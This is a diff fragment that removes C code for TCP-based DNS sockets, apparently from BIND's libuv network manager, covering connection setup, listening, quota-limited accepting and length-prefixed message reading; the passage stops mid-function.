-static atomic_uint_fast32_t last_tcpdnsquota_log = ATOMIC_VAR_INIT(0);
-
-static bool
-can_log_tcpdns_quota(void) {
-	isc_stdtime_t now, last;
-
-	isc_stdtime_get(&now);
-	last = atomic_exchange_relaxed(&last_tcpdnsquota_log, now);
-	if (now != last) {
-		return (true);
-	}
-
-	return (false);
-}
-
-static isc_result_t
-tcpdns_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req);
-
-static void
-tcpdns_close_direct(isc_nmsocket_t *sock);
-
-static void
-tcpdns_connect_cb(uv_connect_t *uvreq, int status);
-
-static void
-tcpdns_connection_cb(uv_stream_t *server, int status);
-
-static void
-tcpdns_close_cb(uv_handle_t *uvhandle);
-
-static isc_result_t
-accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota);
-
-static void
-quota_accept_cb(isc_quota_t *quota, void *sock0);
-
-static void
-stop_tcpdns_parent(isc_nmsocket_t *sock);
-static void
-stop_tcpdns_child(isc_nmsocket_t *sock);
-
-static isc_result_t
-tcpdns_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
-	isc__networker_t *worker = NULL;
-	isc_result_t result = ISC_R_UNSET;
-	int r;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(req));
-
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	worker = &sock->mgr->workers[sock->tid];
-
-	atomic_store(&sock->connecting, true);
-
-	r = uv_tcp_init(&worker->loop, &sock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data(&sock->uv_handle.handle, sock);
-
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
-
-	if (isc__nm_closing(sock)) {
-		result = ISC_R_CANCELED;
-		goto error;
-	}
-
-	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
-	if (r != 0) {
-		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
-
-	if (req->local.length != 0) {
-		r = uv_tcp_bind(&sock->uv_handle.tcp, &req->local.type.sa, 0);
-		/*
-		 * In case of shared socket UV_EINVAL will be returned and needs
-		 * to be ignored
-		 */
-		if (r != 0 && r != UV_EINVAL) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
-		}
-	}
-
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
-
-	uv_handle_set_data(&req->uv_req.handle, req);
-	r = uv_tcp_connect(&req->uv_req.connect, &sock->uv_handle.tcp,
-			   &req->peer.type.sa, tcpdns_connect_cb);
-	if (r != 0) {
-		isc__nm_incstats(sock->mgr,
-				 sock->statsindex[STATID_CONNECTFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
-
-	uv_handle_set_data((uv_handle_t *)&sock->timer, &req->uv_req.connect);
-	isc__nmsocket_timer_start(sock);
-
-	atomic_store(&sock->connected, true);
-
-done:
-	result = isc__nm_uverr2result(r);
-error:
-	LOCK(&sock->lock);
-	sock->result = result;
-	SIGNAL(&sock->cond);
-	if (!atomic_load(&sock->active)) {
-		WAIT(&sock->scond, &sock->lock);
-	}
-	INSIST(atomic_load(&sock->active));
-	UNLOCK(&sock->lock);
-
-	return (result);
-}
-
-void
-isc__nm_async_tcpdnsconnect(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnsconnect_t *ievent =
-		(isc__netievent_tcpdnsconnect_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *req = ievent->req;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-	REQUIRE(sock->parent == NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	result = tcpdns_connect_direct(sock, req);
-	if (result != ISC_R_SUCCESS) {
-		isc__nmsocket_clearcb(sock);
-		isc__nm_connectcb(sock, req, result, true);
-		atomic_store(&sock->active, false);
-		isc__nm_tcpdns_close(sock);
-	}
-
-	/*
-	 * The sock is now attached to the handle.
-	 */
-	isc__nmsocket_detach(&sock);
-}
-
-static void
-tcpdns_connect_cb(uv_connect_t *uvreq, int status) {
-	isc_result_t result;
-	isc__nm_uvreq_t *req = NULL;
-	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)uvreq->handle);
-	struct sockaddr_storage ss;
-	int r;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	isc__nmsocket_timer_stop(sock);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-
-	if (!atomic_load(&sock->connecting)) {
-		return;
-	}
-
-	req = uv_handle_get_data((uv_handle_t *)uvreq);
-
-	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(VALID_NMHANDLE(req->handle));
-
-	if (isc__nmsocket_closing(sock)) {
-		/* Socket was closed midflight by isc__nm_tcpdns_shutdown() */
-		result = ISC_R_CANCELED;
-		goto error;
-	} else if (status == UV_ETIMEDOUT) {
-		/* Timeout status code here indicates hard error */
-		result = ISC_R_CANCELED;
-		goto error;
-	} else if (status != 0) {
-		result = isc__nm_uverr2result(status);
-		goto error;
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
-	r = uv_tcp_getpeername(&sock->uv_handle.tcp, (struct sockaddr *)&ss,
-			       &(int){ sizeof(ss) });
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto error;
-	}
-
-	atomic_store(&sock->connecting, false);
-
-	result = isc_sockaddr_fromsockaddr(&sock->peer, (struct sockaddr *)&ss);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	isc__nm_connectcb(sock, req, ISC_R_SUCCESS, false);
-
-	return;
-
-error:
-	isc__nm_failed_connect_cb(sock, req, result, false);
-}
-
-void
-isc_nm_tcpdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		     isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		     size_t extrahandlesize) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tcpdnsconnect_t *ievent = NULL;
-	isc__nm_uvreq_t *req = NULL;
-	sa_family_t sa_family;
-
-	REQUIRE(VALID_NM(mgr));
-	REQUIRE(local != NULL);
-	REQUIRE(peer != NULL);
-
-	sa_family = peer->type.sa.sa_family;
-
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_tcpdnssocket, local);
-
-	sock->extrahandlesize = extrahandlesize;
-	sock->connect_timeout = timeout;
-	sock->result = ISC_R_UNSET;
-	atomic_init(&sock->client, true);
-
-	req = isc__nm_uvreq_get(mgr, sock);
-	req->cb.connect = cb;
-	req->cbarg = cbarg;
-	req->peer = *peer;
-	req->local = *local;
-	req->handle = isc__nmhandle_get(sock, &req->peer, &sock->iface);
-
-	result = isc__nm_socket(sa_family, SOCK_STREAM, 0, &sock->fd);
-	if (result != ISC_R_SUCCESS) {
-		if (isc__nm_in_netthread()) {
-			sock->tid = isc_nm_tid();
-		}
-		isc__nmsocket_clearcb(sock);
-		isc__nm_connectcb(sock, req, result, true);
-		atomic_store(&sock->closed, true);
-		isc__nmsocket_detach(&sock);
-		return;
-	}
-
-	/* 2 minute timeout */
-	result = isc__nm_socket_connectiontimeout(sock->fd, 120 * 1000);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	ievent = isc__nm_get_netievent_tcpdnsconnect(mgr, sock, req);
-
-	if (isc__nm_in_netthread()) {
-		atomic_store(&sock->active, true);
-		sock->tid = isc_nm_tid();
-		isc__nm_async_tcpdnsconnect(&mgr->workers[sock->tid],
-					    (isc__netievent_t *)ievent);
-		isc__nm_put_netievent_tcpdnsconnect(mgr, ievent);
-	} else {
-		atomic_init(&sock->active, false);
-		sock->tid = isc_random_uniform(mgr->nworkers);
-		isc__nm_enqueue_ievent(&mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-
-	LOCK(&sock->lock);
-	while (sock->result == ISC_R_UNSET) {
-		WAIT(&sock->cond, &sock->lock);
-	}
-	atomic_store(&sock->active, true);
-	BROADCAST(&sock->scond);
-	UNLOCK(&sock->lock);
-}
-
-static uv_os_sock_t
-isc__nm_tcpdns_lb_socket(sa_family_t sa_family) {
-	isc_result_t result;
-	uv_os_sock_t sock;
-
-	result = isc__nm_socket(sa_family, SOCK_STREAM, 0, &sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	(void)isc__nm_socket_incoming_cpu(sock);
-
-	/* FIXME: set mss */
-
-	result = isc__nm_socket_reuse(sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-#if HAVE_SO_REUSEPORT_LB
-	result = isc__nm_socket_reuse_lb(sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-#endif
-
-	return (sock);
-}
-
-static void
-enqueue_stoplistening(isc_nmsocket_t *sock) {
-	isc__netievent_tcpdnsstop_t *ievent =
-		isc__nm_get_netievent_tcpdnsstop(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-static void
-start_tcpdns_child(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nmsocket_t *sock,
-		   uv_os_sock_t fd, int tid) {
-	isc__netievent_tcpdnslisten_t *ievent = NULL;
-	isc_nmsocket_t *csock = &sock->children[tid];
-
-	isc__nmsocket_init(csock, mgr, isc_nm_tcpdnssocket, iface);
-	csock->parent = sock;
-	csock->accept_cb = sock->accept_cb;
-	csock->accept_cbarg = sock->accept_cbarg;
-	csock->recv_cb = sock->recv_cb;
-	csock->recv_cbarg = sock->recv_cbarg;
-	csock->extrahandlesize = sock->extrahandlesize;
-	csock->backlog = sock->backlog;
-	csock->tid = tid;
-	/*
-	 * We don't attach to quota, just assign - to avoid
-	 * increasing quota unnecessarily.
-	 */
-	csock->pquota = sock->pquota;
-	isc_quota_cb_init(&csock->quotacb, quota_accept_cb, csock);
-
-#if HAVE_SO_REUSEPORT_LB
-	UNUSED(fd);
-	csock->fd = isc__nm_tcpdns_lb_socket(iface->type.sa.sa_family);
-#else
-	csock->fd = dup(fd);
-#endif
-	REQUIRE(csock->fd >= 0);
-
-	ievent = isc__nm_get_netievent_tcpdnslisten(mgr, csock);
-	isc__nm_maybe_enqueue_ievent(&mgr->workers[tid],
-				     (isc__netievent_t *)ievent);
-}
-isc_result_t
-isc_nm_listentcpdns(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		    isc_nm_recv_cb_t recv_cb, void *recv_cbarg,
-		    isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		    size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		    isc_nmsocket_t **sockp) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *sock = NULL;
-	size_t children_size = 0;
-	uv_os_sock_t fd = -1;
-
-	REQUIRE(VALID_NM(mgr));
-
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_tcpdnslistener, iface);
-
-	atomic_init(&sock->rchildren, 0);
-	sock->nchildren = mgr->nworkers;
-	children_size = sock->nchildren * sizeof(sock->children[0]);
-	sock->children = isc_mem_get(mgr->mctx, children_size);
-	memset(sock->children, 0, children_size);
-
-	sock->result = ISC_R_UNSET;
-	sock->accept_cb = accept_cb;
-	sock->accept_cbarg = accept_cbarg;
-	sock->recv_cb = recv_cb;
-	sock->recv_cbarg = recv_cbarg;
-	sock->extrahandlesize = extrahandlesize;
-	sock->backlog = backlog;
-	sock->pquota = quota;
-
-	sock->tid = 0;
-	sock->fd = -1;
-
-#if !HAVE_SO_REUSEPORT_LB
-	fd = isc__nm_tcpdns_lb_socket(iface->type.sa.sa_family);
-#endif
-
-	isc_barrier_init(&sock->startlistening, sock->nchildren);
-
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		if ((int)i == isc_nm_tid()) {
-			continue;
-		}
-		start_tcpdns_child(mgr, iface, sock, fd, i);
-	}
-
-	if (isc__nm_in_netthread()) {
-		start_tcpdns_child(mgr, iface, sock, fd, isc_nm_tid());
-	}
-
-#if !HAVE_SO_REUSEPORT_LB
-	isc__nm_closesocket(fd);
-#endif
-
-	LOCK(&sock->lock);
-	while (atomic_load(&sock->rchildren) != sock->nchildren) {
-		WAIT(&sock->cond, &sock->lock);
-	}
-	result = sock->result;
-	atomic_store(&sock->active, true);
-	UNLOCK(&sock->lock);
-
-	INSIST(result != ISC_R_UNSET);
-
-	if (result == ISC_R_SUCCESS) {
-		REQUIRE(atomic_load(&sock->rchildren) == sock->nchildren);
-		*sockp = sock;
-	} else {
-		atomic_store(&sock->active, false);
-		enqueue_stoplistening(sock);
-		isc_nmsocket_close(&sock);
-	}
-
-	return (result);
-}
-
-void
-isc__nm_async_tcpdnslisten(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnslisten_t *ievent =
-		(isc__netievent_tcpdnslisten_t *)ev0;
-	sa_family_t sa_family;
-	int r;
-	int flags = 0;
-	isc_nmsocket_t *sock = NULL;
-	isc_result_t result = ISC_R_UNSET;
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-	REQUIRE(VALID_NMSOCK(ievent->sock->parent));
-
-	sock = ievent->sock;
-	sa_family = sock->iface.type.sa.sa_family;
-
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-	REQUIRE(sock->parent != NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	/* TODO: set min mss */
-
-	r = uv_tcp_init(&worker->loop, &sock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data(&sock->uv_handle.handle, sock);
-	/* This keeps the socket alive after everything else is gone */
-	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
-
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-
-	LOCK(&sock->parent->lock);
-
-	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
-	if (r < 0) {
-		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
-
-	if (sa_family == AF_INET6) {
-		flags = UV_TCP_IPV6ONLY;
-	}
-
-#if HAVE_SO_REUSEPORT_LB
-	r = isc_uv_tcp_freebind(&sock->uv_handle.tcp, &sock->iface.type.sa,
-				flags);
-	if (r < 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
-	}
-#else
-	if (sock->parent->fd == -1) {
-		r = isc_uv_tcp_freebind(&sock->uv_handle.tcp,
-					&sock->iface.type.sa, flags);
-		if (r < 0) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
-		}
-		sock->parent->uv_handle.tcp.flags = sock->uv_handle.tcp.flags;
-		sock->parent->fd = sock->fd;
-	} else {
-		/* The socket is already bound, just copy the flags */
-		sock->uv_handle.tcp.flags = sock->parent->uv_handle.tcp.flags;
-	}
-#endif
-
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
-
-	/*
-	 * The callback will run in the same thread uv_listen() was called
-	 * from, so a race with tcpdns_connection_cb() isn't possible.
-	 */
-	r = uv_listen((uv_stream_t *)&sock->uv_handle.tcp, sock->backlog,
-		      tcpdns_connection_cb);
-	if (r != 0) {
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-			      "uv_listen failed: %s",
-			      isc_result_totext(isc__nm_uverr2result(r)));
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
-	}
-
-	atomic_store(&sock->listening, true);
-
-done:
-	result = isc__nm_uverr2result(r);
-	if (result != ISC_R_SUCCESS) {
-		sock->pquota = NULL;
-	}
-
-	atomic_fetch_add(&sock->parent->rchildren, 1);
-	if (sock->parent->result == ISC_R_UNSET) {
-		sock->parent->result = result;
-	}
-	SIGNAL(&sock->parent->cond);
-	UNLOCK(&sock->parent->lock);
-
-	isc_barrier_wait(&sock->parent->startlistening);
-}
-
-static void
-tcpdns_connection_cb(uv_stream_t *server, int status) {
-	isc_nmsocket_t *ssock = uv_handle_get_data((uv_handle_t *)server);
-	isc_result_t result;
-	isc_quota_t *quota = NULL;
-
-	if (status != 0) {
-		result = isc__nm_uverr2result(status);
-		goto done;
-	}
-
-	REQUIRE(VALID_NMSOCK(ssock));
-	REQUIRE(ssock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(ssock)) {
-		result = ISC_R_CANCELED;
-		goto done;
-	}
-
-	if (ssock->pquota != NULL) {
-		result = isc_quota_attach_cb(ssock->pquota, &quota,
-					     &ssock->quotacb);
-		if (result == ISC_R_QUOTA) {
-			isc__nm_incstats(ssock->mgr,
-					 ssock->statsindex[STATID_ACCEPTFAIL]);
-			return;
-		}
-	}
-
-	result = accept_connection(ssock, quota);
-done:
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOCONN) {
-		if ((result != ISC_R_QUOTA && result != ISC_R_SOFTQUOTA) ||
-		    can_log_tcpdns_quota())
-		{
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-				      "TCP connection failed: %s",
-				      isc_result_totext(result));
-		}
-	}
-}
-
-void
-isc__nm_tcpdns_stoplistening(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tcpdnslistener);
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	if (!isc__nm_in_netthread()) {
-		enqueue_stoplistening(sock);
-	} else {
-		stop_tcpdns_parent(sock);
-	}
-}
-
-void
-isc__nm_async_tcpdnsstop(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnsstop_t *ievent =
-		(isc__netievent_tcpdnsstop_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (sock->parent != NULL) {
-		stop_tcpdns_child(sock);
-		return;
-	}
-
-	stop_tcpdns_parent(sock);
-}
-
-void
-isc__nm_tcpdns_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(result != ISC_R_SUCCESS);
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-
-	if (!sock->recv_read) {
-		goto destroy;
-	}
-	sock->recv_read = false;
-
-	if (sock->recv_cb != NULL) {
-		isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
-		isc__nmsocket_clearcb(sock);
-		isc__nm_readcb(sock, req, result);
-	}
-
-destroy:
-	isc__nmsocket_prep_destroy(sock);
-
-	/*
-	 * We need to detach from quota after the read callback function had a
-	 * chance to be executed.
-	 */
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-}
-
-void
-isc__nm_tcpdns_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-
-	isc_nmsocket_t *sock = handle->sock;
-	isc__netievent_tcpdnsread_t *ievent = NULL;
-
-	REQUIRE(sock->type == isc_nm_tcpdnssocket);
-	REQUIRE(sock->statichandle == handle);
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(!sock->recv_read);
-
-	sock->recv_cb = cb;
-	sock->recv_cbarg = cbarg;
-	sock->recv_read = true;
-	if (sock->read_timeout == 0) {
-		sock->read_timeout =
-			(atomic_load(&sock->keepalive)
-				 ? atomic_load(&sock->mgr->keepalive)
-				 : atomic_load(&sock->mgr->idle));
-	}
-
-	ievent = isc__nm_get_netievent_tcpdnsread(sock->mgr, sock);
-
-	/*
-	 * This MUST be done asynchronously, no matter which thread we're
-	 * in. The callback function for isc_nm_read() often calls
-	 * isc_nm_read() again; if we tried to do that synchronously
-	 * we'd clash in processbuffer() and grow the stack indefinitely.
-	 */
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-
-	return;
-}
-
-void
-isc__nm_async_tcpdnsread(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnsread_t *ievent =
-		(isc__netievent_tcpdnsread_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(sock)) {
-		sock->reading = true;
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
-		return;
-	}
-
-	isc__nm_process_sock_buffer(sock);
-}
-
-/*
- * Process a single packet from the incoming buffer.
- *
- * Return ISC_R_SUCCESS and attach 'handlep' to a handle if something
- * was processed; return ISC_R_NOMORE if there isn't a full message
- * to be processed.
- *
- * The caller will need to unreference the handle.
- */
-isc_result_t
-isc__nm_tcpdns_processbuffer(isc_nmsocket_t *sock) {
-	size_t len;
-	isc__nm_uvreq_t *req = NULL;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(sock)) {
-		return (ISC_R_CANCELED);
-	}
-
-	/*
-	 * If we don't even have the length yet, we can't do
-	 * anything.
-	 */
-	if (sock->buf_len < 2) {
-		return (ISC_R_NOMORE);
-	}
-
-	/*
-	 * Process the first packet from the buffer, leaving
-	 * the rest (if any) for later.
-	 */
-	len = ntohs(*(uint16_t *)sock->buf);
-	if (len > sock->buf_len - 2) {
-		return (ISC_R_NOMORE);
-	}
-
-	req = isc__nm_get_read_req(sock, NULL);
-	REQUIRE(VALID_UVREQ(req));
-
-	/*
-	 * We need to launch the resume_processing after the buffer has
-	 * been consumed, thus we need to delay the detaching the handle.
-	 */
-	isc_nmhandle_attach(req->handle, &handle);
-
-	/*
-	 * The callback will be called synchronously because the
-	 * result is ISC_R_SUCCESS, so we don't need to have
-	 * the buffer on the heap
-	 */
-	req->uvbuf.base = (char *)sock->buf + 2;
-	req->uvbuf.len = len;
-
-	/*
-	 * If isc__nm_tcpdns_read() was called, it will be satisfied by single
-	 * DNS message in the next call.
-	 */
-	sock->recv_read = false;
-
-	/*
-	 * The assertion failure here means that there's a errnoneous extra
-	 * nmhandle detach happening in the callback and resume_processing gets
-	 * called while we are still processing the buffer.
-	 */
-	REQUIRE(sock->processing == false);
-	sock->processing = true;
-	isc__nm_readcb(sock, req, ISC_R_SUCCESS);
-	sock->processing = false;
-
-	len += 2;
-	sock->buf_len -= len;
-	if (sock->buf_len > 0) {
-		memmove(sock->buf, sock->buf + len, sock->buf_len);
-	}
-
-	isc_nmhandle_detach(&handle);
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc__nm_tcpdns_read_cb(uv_stream_t *stream, ssize_t nread,
-		       const uv_buf_t *buf) {
-	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)stream);
-	uint8_t *base = NULL;
-	size_t len;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->reading);
-	REQUIRE(buf != NULL);
-
-	if (isc__nmsocket_closing(sock)) {
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, true);
-		goto free;
-	}
-
-	if (nread < 0) {
-		if (nread != UV_EOF) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_RECVFAIL]);
-		}
-
-		isc__nm_failed_read_cb(sock, isc__nm_uverr2result(nread), true);
-		goto free;
-	}
-
-	base = (uint8_t *)buf->base;
-	len = nread;
-
-	/*
-	 * FIXME: We can avoid the memmove here if we know we have received full
-	 * packet; e.g. we should be smarter, a.s. there are just few situations
-	 *
-	 * The tcp_alloc_buf should be smarter and point the uv_read_start to
-	 * the position where previous read has ended in the sock->buf, that way
-	 * the data could be read directly into sock->buf.
-	 */
-
-	if (sock->buf_len + len > sock->buf_size) {
-		isc__nm_alloc_dnsbuf(sock, sock->buf_len + len);
-	}
-	memmove(sock->buf + sock->buf_len, base, len);
-	sock->buf_len += len;
-
-	if (!atomic_load(&sock->client)) {
-		sock->read_timeout = atomic_load(&sock->mgr->idle);
-	}
-
-	isc__nm_process_sock_buffer(sock);
-free:
-	isc__nm_free_uvbuf(sock, buf);
-}
-
-static void
-quota_accept_cb(isc_quota_t *quota, void *sock0) {
-	isc_nmsocket_t *sock = (isc_nmsocket_t *)sock0;
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	/*
-	 * Create a tcpdnsaccept event and pass it using the async channel.
-	 */
-
-	isc__netievent_tcpdnsaccept_t *ievent =
-		isc__nm_get_netievent_tcpdnsaccept(sock->mgr, sock, quota);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
-}
-
-/*
- * This is called after we get a quota_accept_cb() callback.
- */
-void
-isc__nm_async_tcpdnsaccept(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpdnsaccept_t *ievent =
-		(isc__netievent_tcpdnsaccept_t *)ev0;
-	isc_result_t result;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-
-	result = accept_connection(ievent->sock, ievent->quota);
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOCONN) {
-		if ((result != ISC_R_QUOTA && result != ISC_R_SOFTQUOTA) ||
-		    can_log_tcpdns_quota())
-		{
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-				      "TCP connection failed: %s",
-				      isc_result_totext(result));
-		}
-	}
-}
-
-static isc_result_t
-accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
-	isc_nmsocket_t *csock = NULL;
-	isc__networker_t *worker = NULL;
-	int r;
-	isc_result_t result;
-	struct sockaddr_storage peer_ss;
-	struct sockaddr_storage local_ss;
-	isc_sockaddr_t local;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(VALID_NMSOCK(ssock));
-	REQUIRE(ssock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(ssock)) {
-		if (quota != NULL) {
-			isc_quota_detach(&quota);
-		}
-		return (ISC_R_CANCELED);
-	}
-
-	REQUIRE(ssock->accept_cb != NULL);
-
-	csock = isc_mem_get(ssock->mgr->mctx, sizeof(isc_nmsocket_t));
-	isc__nmsocket_init(csock, ssock->mgr, isc_nm_tcpdnssocket,
-			   &ssock->iface);
-	csock->tid = ssock->tid;
-	csock->extrahandlesize = ssock->extrahandlesize;
-	isc__nmsocket_attach(ssock, &csock->server);
-	csock->recv_cb = ssock->recv_cb;
-	csock->recv_cbarg = ssock->recv_cbarg;
-	csock->quota = quota;
-	csock->accepting = true;
-
-	worker = &csock->mgr->workers[csock->tid];
-
-	r = uv_tcp_init(&worker->loop, &csock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data(&csock->uv_handle.handle, csock);
-
-	r = uv_timer_init(&worker->loop, &csock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&csock->timer, csock);
-
-	r = uv_accept(&ssock->uv_handle.stream, &csock->uv_handle.stream);
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto failure;
-	}
-
-	r = uv_tcp_getpeername(&csock->uv_handle.tcp,
-			       (struct sockaddr *)&peer_ss,
-			       &(int){ sizeof(peer_ss) });
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto failure;
-	}
-
-	result = isc_sockaddr_fromsockaddr(&csock->peer,
-					   (struct sockaddr *)&peer_ss);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	r = uv_tcp_getsockname(&csock->uv_handle.tcp,
-			       (struct sockaddr *)&local_ss,
-			       &(int){ sizeof(local_ss) });
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto failure;
-	}
-
-	result = isc_sockaddr_fromsockaddr(&local,
-					   (struct sockaddr *)&local_ss);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	/*
-	 * The handle will be either detached on acceptcb failure or in the
-	 * readcb.
-	 */
-	handle = isc__nmhandle_get(csock, NULL, &local);
-
-	result = ssock->accept_cb(handle, ISC_R_SUCCESS, ssock->accept_cbarg);
-	if (result != ISC_R_SUCCESS) {
-		isc_nmhandle_detach(&handle);
-		goto failure;
-	}
-
-	csock->accepting = false;
-
-	isc__nm_incstats(csock->mgr, csock->statsindex[STATID_ACCEPT]);
-
